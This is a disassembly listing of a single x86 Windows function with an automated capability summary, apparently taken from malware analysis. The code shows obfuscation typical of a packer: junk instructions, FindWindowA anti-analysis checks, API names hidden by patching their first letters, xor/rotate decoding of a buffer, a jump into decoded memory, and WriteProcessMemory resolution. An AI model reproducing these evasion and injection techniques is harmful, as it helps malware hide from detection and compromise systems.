Function at 0x402c14
Capabilities:
Encode data using xor
Get thread local storage value
Set environment variable

Disassembly:
sbb ebx, 0xffffff80
sub byte [0x405092], 0xb1
or esi, 0x5e
xor esi, 0xffffff91
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
add ebx, ebx
sub byte [0x405006], al
xor edi, ebx
or dword [0x40511f], edi
sbb dword [0x40510b], edi
sub eax, dword [0x4051c4]
lea ebx, [0x40185b]
call ebx
mov dword [0x405129], 0x5c
and dword [0x4050db], 0x1c
or esi, dword [0x4050ad]
adc byte [0x40510f], al
sbb dword [0x40508a], 0xd
sbb esi, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xchg dword [ebp - 4], edx
adc edx, dword [0x4051d4]
add dl, ah
and dword [0x40512a], 0xdd
add dword [0x4050ab], edi
adc dl, byte [0x4051ee]
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4034c0
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405146]
sbb esi, eax
add ch, 0x4a
adc esi, edi
xor esi, ecx
lea ecx, [0x4034c0]
call ecx
or eax, dword [0x405144]
adc dword [0x4051a2], ebx
or ah, byte [0x405147]
xor dword [0x40514c], 0x94
add byte [ebx + 0x258141d6], al
je 0x401d39
adc esi, 0x41
and dword [0x405074], 0xef
or dword [0x40504f], esi
inc eax
add bh, ch
add byte [eax], al
add byte [ecx], cl
xor eax, 0x40504f
sub esi, 0x66
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
sbb dword [0x40509e], eax
or dword [0x4051b3], edi
xor dword [0x4050fa], eax
sub byte [0x405187], 0x60
or bl, byte [0x40517f]
xchg dword [ebp - 4], ecx
add ecx, edi
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x401d77
inc eax
inc eax
add bh, bh
rol byte [ebx + 0x347500f8], 1
add edi, 0x5d
xchg dword [ebp - 4], ecx
add ecx, ebx
sbb esi, ebx
adc ecx, dword [0x4050c3]
add dword [0x405058], esi
lea edx, [0x401d77]
call edx
sub byte [0x4051fb], 0x10
xchg byte [ebp - 4], dh
add dh, cl
adc edi, edi
sbb ebx, 0x4a
add byte [eax], al
add byte [eax], al
add byte [edx], ch
and eax, 0x4050ae
sub ah, byte [0x4050ae]
adc ebx, dword [0x405112]
sbb eax, esi
sbb ebx, ebx
or eax, 0xffffff82
lea ecx, [0x4058d4]
push dword [ecx]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
xchg dword [ebp - 4], ecx
add ecx, esi
sub dword [0x405171], ecx
add ebx, 0xffffff94
adc ebx, dword [0x4050aa]
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
xor esi, esi
and ebx, 0xfffffffe
sub eax, eax
sbb eax, eax
lea edx, [0x4034c0]
call edx
add al, ah
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405046]
xor al, ch
xor dword [0x40511d], ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edi, 0xffffffbf
not edi
push edi
mov esi, 0xffffefff
not esi
push esi
mov eax, 0xfffff8fb
not eax
push eax
mov ebx, 0
push ebx
mov ecx, 0xffffffff
push ecx
lea ebx, [0x40582e]
add ebx, 5
call dword [ebx]
test eax, eax
je 0x4034c0
push 0x7b8a71fa
pop edi
mov edx, eax
xor ebx, ebx
sub ecx, ecx
dec ecx
and ecx, 0x40103f
push edx
adc esi, dword [0x405119]
adc esi, dword [0x405066]
adc esi, dword [0x405079]
xor dword [0x4051ba], 0xc3
mov eax, dword [ecx]
adc dword [0x4050d2], esi
sbb esi, esi
sub dword [0x4051c1], esi
adc esi, dword [0x4050bb]
and dword [0x4051ac], 0x61
xor esi, 0x79
clc
adc ecx, 4
add esi, esi
sbb dword [0x4051bb], 0xf6
add esi, esi
xor dword [0x40515a], 0xba
adc esi, dword [0x40516d]
not eax
adc esi, dword [0x405138]
adc esi, dword [0x405016]
mov dword [0x405167], 0x90
sub esi, dword [0x405162]
add eax, 0xfffffff0
or dword [0x405155], esi
add esi, esi
sub dword [0x405165], esi
add esi, 0xffffff9a
add esi, esi
ror eax, 3
xor esi, 0x34
adc esi, dword [0x4050e3]
or esi, dword [0x4050be]
sub esi, 0x77
ror eax, 5
add esi, esi
add esi, esi
sbb dword [0x40519b], 0x83
sub esi, dword [0x4050eb]
or dword [0x4050ff], 0xe6
sub esi, 0x2d
xor eax, edi
adc dword [0x4050d9], 0x20
adc dword [0x4050c3], esi
adc dword [0x4050cc], 0xb9
sub byte [0x4050d9], 0xf7
sub dword [0x4051c7], esi
sub esi, dword [0x40508d]
dec eax
sbb dword [0x405094], esi
or esi, dword [0x4050ce]
and dword [0x405090], 0x2a
adc dword [0x40514a], 0x1b
or esi, dword [0x4050a6]
adc esi, dword [0x4051f8]
sub edi, edi
add edi, eax
sbb esi, 0xffffff89
mov dword [0x4050e8], 0x80
sub esi, esi
adc dword [0x4051aa], 0x85
rol edi, 3
or dword [0x40500b], esi
adc esi, 0xfffffffd
or dword [0x405099], 0x8e
adc esi, dword [0x4051ab]
rol edi, 5
adc esi, dword [0x405125]
sub esi, dword [0x4050d2]
or esi, 0xffffffbc
adc esi, dword [0x4051ed]
push eax
pop dword [edx]
sbb esi, esi
or dword [0x4050bd], esi
adc esi, dword [0x40509c]
or esi, dword [0x405028]
or esi, dword [0x405044]
sbb esi, esi
lea edx, [edx + 4]
add esi, esi
xor esi, esi
add esi, esi
adc dword [0x4050f1], esi
or dword [0x4051f9], 0x26
sub esi, 4
clc
sbb ebx, 0xfffffffc
adc dword [0x4051b2], esi
and esi, 0xffffff95
sub dword [0x4050cf], esi
sbb esi, 0xffffffe2
cmp ebx, 0x704
jne 0x401e39
pop edx
mov ecx, dword [0x40581c]
push ecx
add eax, 0xffffff90
adc esi, edi
or ebx, dword [0x4050f8]
add eax, ecx
and esi, 0xffffffb9
add dword [0x4051f7], esi
push 0x401dee
adc ecx, dword [0x40503c]
sub ebx, 0x46
add dword [0x405123], eax
or esi, dword [0x40512c]
adc esi, dword [0x405048]
xor dword [0x405105], 0x35
jmp edx
xor eax, eax
sub bh, byte [0x40500e]
xor dword [0x4051f4], eax
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405105]
adc al, ch
lea edi, [0x4058d4]
push dword [edi]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
adc dword [0x4050fe], 0x96
sub dword [0x405151], esi
sub byte [0x4050a2], 0xfd
sub al, byte [0x4051dd]
add eax, 0x14
adc eax, 0xfffffffd
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4038ad
adc byte [0x4051cf], bl
adc dword [0x4050ad], 0xc6
adc dword [0x40516d], eax
adc esi, dword [0x405108]
lea esi, [0x4038ad]
call esi
adc dword [0x4050f8], 0xe2
adc eax, ebx
xchg dword [ebp - 4], ecx
adc ecx, dword [0x40505f]
or dword [0x405027], 0xc9
sub edi, ebx
add dword [0x40513e], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push ebp
lea ebp, [esp]
sub esp, 0x44
xchg dword [ebp - 4], eax
adc eax, dword [0x40516d]
add dword [0x405156], eax
xchg dword [ebp - 4], esi
adc esi, dword [0x405106]
sbb esi, esi
xchg dword [ebp - 4], edx
add edx, esi
xchg dword [ebp - 4], edi
add edi, esi
and dword [0x4051d3], 0x56
mov dword [0x405050], 0x2f
and dword [0x4050b8], 8
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405185]
or ecx, dword [0x405151]
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
xchg dword [ebp - 4], ecx
adc ecx, dword [0x40510c]
add ecx, edi
adc al, al
add dword [0x4050ba], ecx
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x401bfa
xor dword [0x405194], esi
mov dword [0x40511a], 0x7e
xchg dword [ebp - 4], ebx
add ebx, eax
xor dword [0x40509b], 0xa
xchg dword [ebp - 4], ecx
adc ecx, dword [0x4051f1]
and edi, 0xfffffffc
lea ecx, [0x403738]
call ecx
sub esi, 0xffffff8f
add byte [0x405195], ch
sbb ebx, ebx
sub bh, 0x98
sbb dword [0x405064], 0xef
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xchg dword [ebp - 4], ecx
add ecx, eax
xchg dword [ebp - 4], edx
adc edx, dword [0x405040]
and cl, 0xb
or dword [0x405167], eax
add esi, ecx
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
and ebx, 0xffffffca
add dword [0x405131], eax
add edi, 0xffffffce
and dword [0x4051f5], esi
lea eax, [0x4019a8]
call eax
add edi, esi
sub esi, 0x5f
sbb byte [0x405116], ah
xchg dword [ebp - 4], edx
adc edx, dword [0x4050ec]
add edx, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x25fe03ab], al
xchg dword [ebp - 4], edx
add edx, ebx
xor ebx, 0x40
sbb edx, eax
sbb ebx, edi
add edx, 0xffffffdf
sbb eax, 0x24
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
adc ebx, dword [0x40503e]
or dword [0x4050a4], ebx
sub dword [0x405072], esi
adc edi, dword [0x405181]
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x40356f
mov dword [0x4050d3], 0x24
sbb dword [0x405007], 0x9f
add ebx, edi
xor bh, bh
or ebx, 0xffffffa3
lea edi, [0x40356f]
call edi
sub byte [0x4051e9], 0xbb
adc dword [0x405118], 0x52
sub byte [0x40503c], 0xac
xchg byte [ebp - 4], cl
add cl, 0xe6
or ecx, 0x14
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx - 0x1f7c5e14], al
mov es, word [ecx + 0x40519e1d]
add dh, ch
add byte [eax], al
add byte [ecx], bl
sbb eax, 0x405041
sub ah, 0xa1
and eax, 0xffffff8e
sbb dword [0x40519e], 0xee
sbb dword [0x405041], ebx
sub dword [0x405183], edi
add dword [0x405089], eax
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
add dword [0x40519e], esi
xor ebx, edi
and edi, 3
adc dword [0x4050d2], 0xc
lea esi, [0x402b87]
call esi
adc bl, byte [0x4050d8]
xchg dword [ebp - 4], edx
adc edx, dword [0x4050c5]
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405031]
xor esi, eax
and dword [0x4051df], edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc esi, dword [0x4050bc]
xchg dword [ebp - 4], edx
add edx, 0x18
adc eax, esi
sub eax, 0x7a
adc edi, dword [0x4050d3]
sub esi, 0x49
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4034c0
sbb dword [0x4051a4], 0x4a
xchg dword [ebp - 4], ecx
adc ecx, dword [0x4050c9]
xor dword [0x40512c], 0xec
xor dword [0x4051ec], 0x50
adc bl, byte [0x4051db]
lea eax, [0x4058d4]
push dword [eax]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
or esi, dword [0x40504a]
add dword [0x4051bb], edi
adc ebx, dword [0x405093]
sbb al, 0x7a
lea edx, [0x4034c0]
call edx
add esi, ebx
xor eax, 0x69
sbb dword [0x405065], esi
sub bl, byte [0x405092]
adc dword [0x4050ca], 0x29
xchg dword [ebp - 4], ecx
add ecx, 0x27
add byte [eax], al
add byte [eax], al
sbb dword [0x405121], 0xc4
add bh, bl
and esi, 9
xchg byte [ebp - 4], ch
add ch, al
or dword [0x405198], eax
sub byte [0x4050f8], 0x1e
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4024b6
xchg dword [ebp - 4], edx
add edx, 0x2d
add eax, ebx
or dword [0x40509e], 0xb6
add ebx, edx
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x4024b6
and ebx, 0x7a
sub bh, byte [0x405130]
or ah, byte [0x4050be]
adc eax, dword [0x405040]
xchg dword [ebp - 4], edx
add edx, esi
lea ecx, [0x4034c4]
call ecx
xor esi, 0xffffffcd
add byte [0x405081], dl
adc edi, eax
xchg dword [ebp - 4], ecx
add ecx, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
cmp eax, 0x4050b9
xchg dword [ebp - 4], edx
adc edx, dword [0x405175]
and dword [0x40518a], 0x39
and dword [0x405032], edi
adc ebx, edi
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4039f5
adc edi, ebx
mov dword [0x4050fa], 5
xchg dword [ebp - 4], edx
adc edx, dword [0x405177]
sub dword [0x4050fc], edx
lea edx, [0x4039f5]
call edx
xchg dword [ebp - 4], ecx
add ecx, 1
sub ecx, ebx
adc ebx, edi
add edi, 0x2e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [0x4050c7], eax
sub ebx, eax
add eax, eax
mov dword [0x405150], 0x4a
xchg dword [ebp - 4], ecx
add ecx, 0x7d
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x402a3b
or ebx, dword [0x4051ec]
add edi, 0xffffffaf
add dword [0x405015], eax
adc dword [0x4050d6], 0xcd
adc edi, edi
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
xor dword [0x40510d], edi
sub esi, 0x33
sub esi, dword [0x405119]
add ebx, esi
or eax, 0x31
lea eax, [0x401939]
call eax
or ah, byte [0x405011]
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405174]
adc esi, dword [0x405185]
or dword [0x4051d5], 0x84
sub eax, 0x77
mov dword [0x405191], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc edi, eax
add eax, edi
xchg dword [ebp - 4], ecx
add ecx, edi
adc dword [0x4050ff], esi
add eax, 0x44
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
sub al, byte [0x405003]
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405015]
adc ecx, 0xffffffe2
add ecx, 0xffffffad
add dword [0x40504b], eax
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x40275a
xchg byte [ebp - 4], ch
add ch, 0xff
or bh, 0x2f
or bh, byte [0x40519c]
adc dword [0x405072], 0xbd
lea ecx, [0x40275a]
call ecx
xor ebx, edi
adc esi, dword [0x40518c]
xor dword [0x4051fa], esi
add eax, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x5587bccb], al
cld
add edx, esi
and dword [0x40517e], eax
adc ebx, esi
sub ebx, ebx
push str.kpqxevufc
push str.ntsfzvlzdfryhnncn
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x402658
sub esi, dword [0x4051ea]
sub byte [0x4051e0], 0xaa
adc dword [0x4050d7], 0xd9
or ebx, 0
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
adc dword [0x405198], 0x13
adc edi, dword [0x4050d0]
xchg dword [ebp - 4], ecx
adc ecx, dword [0x4051c3]
sub byte [0x405028], 0xf1
and dword [0x405040], 0xa9
add dword [0x4051ec], esi
lea esi, [0x403055]
call esi
sub esi, dword [0x405183]
or dword [0x40508c], ecx
and dword [0x40516a], 0x12
or dword [0x40504e], esi
adc dword [0x40503a], 0xb8
and dword [0x405172], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
or edi, dword [0x4050bf]
sub eax, esi
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405099]
sbb ebx, 0xffffffe4
or cl, byte [0x4050ed]
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
adc edi, dword [0x4051a1]
or edi, dword [0x4051f4]
or eax, 0xb
xchg byte [ebp - 4], dl
add dl, bh
lea ebx, [0x4058d4]
push dword [ebx]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
sbb esi, ebx
sub edi, dword [0x405136]
add ebx, 0xffffffba
or dword [0x405199], ebx
sub byte [0x4051d4], 0xf9
lea eax, [0x4034c0]
call eax
mov dword [0x40500b], 0x93
adc dword [0x40518b], esi
sbb esi, eax
xor dword [0x405156], edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ch
cmp eax, 0x40519a
sub byte [0x40505a], 0x8c
adc eax, dword [0x405187]
add edi, ebx
add dword [0x405106], esi
and dword [0x405067], 0x28
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x401ce2
adc dword [0x405133], 0x30
xor dword [0x4051ab], 0xeb
sub dword [0x40513a], esi
adc dword [0x405087], 0x7d
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x401ce2
xchg byte [ebp - 4], dh
add dh, 0x18
xor byte [0x40503a], dh
or dword [0x40506d], edx
xor dword [0x4050ca], edx
add esi, 0x56
adc edx, dword [0x4051df]
lea edx, [0x4018b8]
call edx
add edx, 0xffffffe7
sub byte [0x405153], 8
xor edx, esi
and dword [0x40519d], 0xab
add byte [eax], al
add byte [ecx + 0x4051381d], al
add byte [ebx - 0x7f000000], dl
sbb eax, 0x4050e8
add byte [eax], 0
add byte [ebx + 0x53150d6], al
loop 0x402d34
inc eax
add byte [edx], cl
add eax, 0x4050d6
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
xchg dword [ebp - 4], ecx
add ecx, 0x3f
sub ecx, dword [0x405004]
or dword [0x40518b], 0x6d
sbb dword [0x4050ee], 0x5f
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x401c71
adc edi, dword [0x40510a]
sbb esi, eax
xchg dword [ebp - 4], ecx
add ecx, 0x5a
inc eax
add byte [ecx], bl
mov byte [edi - 0x3e7c03b3], 0x5a
xchg dword [ebp - 4], edx
add edx, 0xfffffffc
sbb dword [0x405105], 0xfa
lea esi, [0x401c71]
call esi
sub eax, dword [0x405074]
xor eax, ecx
add dword [0x4051a6], ecx
adc edi, dword [0x40502c]
sbb eax, 0x6b
adc ebx, 0xb
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc eax, 0x3e
and dword [0x405081], edi
xor dword [0x4050ad], edi
add dword [0x405168], edi
adc esi, 0x6c
lea esi, [0x4058d4]
push dword [esi]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
xchg byte [ebp - 4], dh
add dh, bl
xchg dword [ebp - 4], ecx
add ecx, 0xffffffb0
and dword [0x40515e], 0xae
xor edi, edi
xor byte [0x4051b9], bh
sub byte [0x4050f9], 0x90
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
cmp eax, 0
jne 0x4034c0
xchg dword [ebp - 4], edx
adc edx, dword [0x40503b]
adc esi, edx
xor dword [0x40501c], 0x33
sbb dword [0x4050a1], 0xa9
add dword [0x4051c0], ebx
lea eax, [0x4034c0]
call eax
adc eax, 0xffffffb3
xchg dword [ebp - 4], ecx
add ecx, eax
adc dword [0x40516c], ebx
add ecx, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc byte [0x4050d1], ah
adc dword [0x405104], 0x6a
adc dword [0x4050c1], 0xe5
xchg dword [ebp - 4], edx
add edx, 0x28
sub esi, edx
mov dword [0x405058], 0x7a
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
sbb dword [0x405019], 0x16
adc dword [0x405084], 1
sbb edi, ebx
or dword [0x405108], 0xad
sub eax, dword [0x4050f8]
adc ebx, dword [0x4050aa]
lea ebx, [0x4058d4]
push dword [ebx]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
sub eax, dword [0x4051d4]
xchg dword [ebp - 4], edx
add edx, eax
add edx, ebx
adc dword [0x405185], edx
adc dword [0x4051d7], edi
lea eax, [0x403608]
call eax
add eax, ebx
or byte [0x405071], ah
adc edx, eax
xor ebx, esi
sub byte [0x40501f], 0x2e
or dword [0x405013], 0x5b
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x25fe03ab], al
xchg dword [ebp - 4], edx
add edx, ebx
sub ebx, ebx
xor dh, bh
xor bl, ah
sub dword [0x405113], ebx
and dword [0x405193], esi
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
or dword [0x405194], 0xf3
xchg dword [ebp - 4], ecx
adc ecx, dword [0x405035]
adc dword [0x405005], 0x14
adc dword [0x40501d], esi
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
or esi, dword [0x4051e2]
adc dword [0x40502a], edi
adc dword [0x40511d], 0xe6
adc dword [0x4050a7], 0x50
lea edx, [0x4034c0]
call edx
sbb esi, edi
xchg dword [ebp - 4], ecx
adc ecx, dword [0x4050c4]
adc dword [0x40512e], ebx
sub edi, dword [0x4051e9]
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor esi, 0xffffffc1
sbb esi, eax
add dword [0x4051a6], ebx
or ebx, 0xffffff9b
sub byte [0x405134], 0x6d
sub ah, byte [0x405062]
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x402edc
adc bl, byte [0x405191]
sbb esi, ebx
adc al, byte [0x40500d]
mov dword [0x405164], 0x81
adc esi, dword [0x4050f3]
sub eax, eax
lea esi, [0x402edc]
call esi
xchg dword [ebp - 4], ecx
adc ecx, dword [0x40501d]
adc ebx, esi
sbb eax, 0xffffffb3
and ebx, 0x57
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xchg dword [ebp - 4], edx
adc edx, dword [0x4051a9]
sbb eax, 0x41
sbb dword [0x405133], 0xf5
adc edx, 0xfffffffb
push 0x4058a8
push 0x4058a0
mov eax, dword [sym.imp.kernel32.dll_FileTimeToSystemTime]
call eax
adc dword [0x4050e8], 0x99
sbb esi, 0xf
xor dword [0x405069], 0x6a
xchg dword [ebp - 4], ecx
add ecx, ebx
lea edx, [0x4034c0]
call edx
and esi, 0x2c
sub eax, esi
or dword [0x4051d1], 0x5d
or dword [0x4051dc], 0xf8
add byte [eax], al
sub dword [0x405056], esi
and dword [0x40501b], 0xb6
xor byte [0x4050d6], ah
xor ecx, 3
adc dword [0x40517b], 0xfe
push 6
xchg dword [ebp - 4], edx
add edx, ebx
sub eax, 0xffffffef
and dword [0x40517e], edx
adc ebx, dword [0x40508c]
push 0
push 0x1388
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_WaitForSingleObjectEx]
adc dword [0x4050ed], 0x93
adc dword [0x4050f1], 0x3f
or edi, dword [0x4051f1]
adc eax, dword [0x405034]
dec dword [esp]
jne 0x40308e
sbb eax, eax
sub byte [0x40511a], 0xe9
adc dword [0x4051a2], eax
and dword [0x40508c], 0x8d
sbb dword [0x405189], ecx
add esp, 4
mov byte [0x40584e], 0
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
or dword [0x40517c], esi
sub eax, esi
xchg dword [ebp - 4], edx
adc edx, dword [0x4050d0]
adc dword [0x4050de], 0x28
lea ecx, str.tERNEL32.DLL
mov byte [ecx], 0x6b
adc ebx, dword [0x405074]
sub edx, 0xffffff97
xor edx, 0x50
sbb edi, eax
add edi, eax
xor esi, edx
push ecx
sub edi, dword [0x40511a]
xor edx, 0xffffff82
sub ebx, 0x71
adc dh, 0xf0
adc ebx, dword [0x405160]
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x405820], eax
add ebx, 0xffffff88
adc ebx, ecx
sbb edi, 0xfffffffc
adc ch, cl
add edx, ecx
sub ecx, 0x6b
push str.tirtualAllocEx
mov byte [str.tirtualAllocEx], 0x56
sub byte [0x40508a], 0xe
sbb dword [0x405067], esi
sub ebx, dword [0x40509f]
or edi, dword [0x4050c3]
push eax
or edi, dword [0x40510c]
sub byte [0x405123], 0xa
sub byte [0x4051af], 0xa5
and dword [0x4051ae], esi
push str.toadLibraryA
mov byte [str.toadLibraryA], 0x4c
adc dword [0x40513e], esi
xor edx, edi
or dword [0x405027], 0xe9
sub ecx, 0x3a
sub dl, cl
push eax
sub dword [0x4050b7], esi
adc dh, byte [0x405183]
adc edi, dword [0x4050eb]
add dword [0x405049], edx
add dword [0x40512f], ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
xor dword [0x40510f], 0xa4
xor dword [0x4050f3], 0x8d
adc ebx, dword [0x4050f6]
or dword [0x405164], ebx
mov dword [0x40581c], eax
adc esi, dword [0x405103]
and dword [0x40518e], 4
adc ecx, ecx
mov dword [0x405066], 0x23
push str.ts.dll
or cl, 0x56
adc dword [0x40507b], 0xbf
sub byte [0x4051ee], 0xf4
sbb edx, 0x70
call eax
or dword [0x4050a4], edi
adc dword [0x4050dc], edi
sbb edx, 0xffffffd6
sbb edx, edx
test eax, eax
jne 0x4034c0
push eax
push str.ewtbvzkfsqbj
push str.tliqjvyk
mov eax, dword [sym.imp.user32.dll_FindWindowA]
call eax
test eax, eax
jne 0x4034c0
pop eax
push eax
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
pop eax
push eax
push str.xyrgymbxqzbh
push str.iugvvjoggmaoal
mov eax, dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
call eax
pop eax
xor dword [0x4050da], ebx
sbb dword [0x40515d], 5
sub byte [0x40500d], 0x1f
adc ebx, 0x28
mov byte [str.ts.dll], 0x65
xor dword [0x4050df], edi
mov dword [0x4051f6], 0x28
add dword [0x405116], edi
sub byte [0x4050e6], 0x97
xor dword [0x405014], ebx
and edi, 0xffffffe6
push str.ts.dll
xor dword [0x405198], esi
sub esi, edi
xor dword [0x4051bd], esi
xchg dword [ebp - 4], ecx
adc ecx, dword [0x40506d]
adc bl, byte [0x405147]
call dword [0x40581c]
push eax
adc ebx, dword [0x4051bb]
adc dword [0x40506b], 0xae
sub byte [0x405061], 0x80
adc dword [0x40500b], 0xd0
xor ecx, 0x69
pop edx
sub dword [0x405152], eax
sub ecx, dword [0x405136]
or ecx, 0x65
adc esi, dword [0x4050bc]
xor eax, ebx
adc eax, edi
add edx, dword [edx + 0x3c]
adc ebx, dword [0x40511b]
adc dword [0x4051a0], ecx
sub ebx, dword [0x4050bd]
xor dword [0x405002], 0x63
add edx, 0xa0
mov dword [0x405807], edx
add eax, ebx
adc ebx, esi
adc dword [0x405091], ebx
add ebx, 0x39
xor edi, 0xffffffd6
sub edi, 0xffffffe8
or dword [0x40515c], 0x4b
or esi, dword [0x4050bb]
add eax, 0x72
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x405833], eax
add dword [0x4050d0], edi
adc esi, dword [0x4050a5]
adc al, cl
adc esi, ecx
adc ah, byte [0x4050f1]
or esi, dword [0x405093]
push 0
push 8
push dword [0x405807]
push 0x405807
push 0xffffffffffffffff
push str.triteProcessMemory
mov byte [str.triteProcessMemory], 0x57
mov ebx, dword [0x405820]
push ebx
push 0x4033e7
push dword [sym.imp.kernel32.dll_GetProcAddress]
ret
mov esp, ebp
pop ebp
ret
xor dword [0x4051ef], 0x30
xor ebx, 0xffffffb7
xchg dword [ebp - 4], ecx
add ecx, esi
add esi, ebx
lea ecx, [0x4058d4]
push dword [ecx]
mov eax, dword [sym.imp.kernel32.dll_TlsGetValue]
call eax
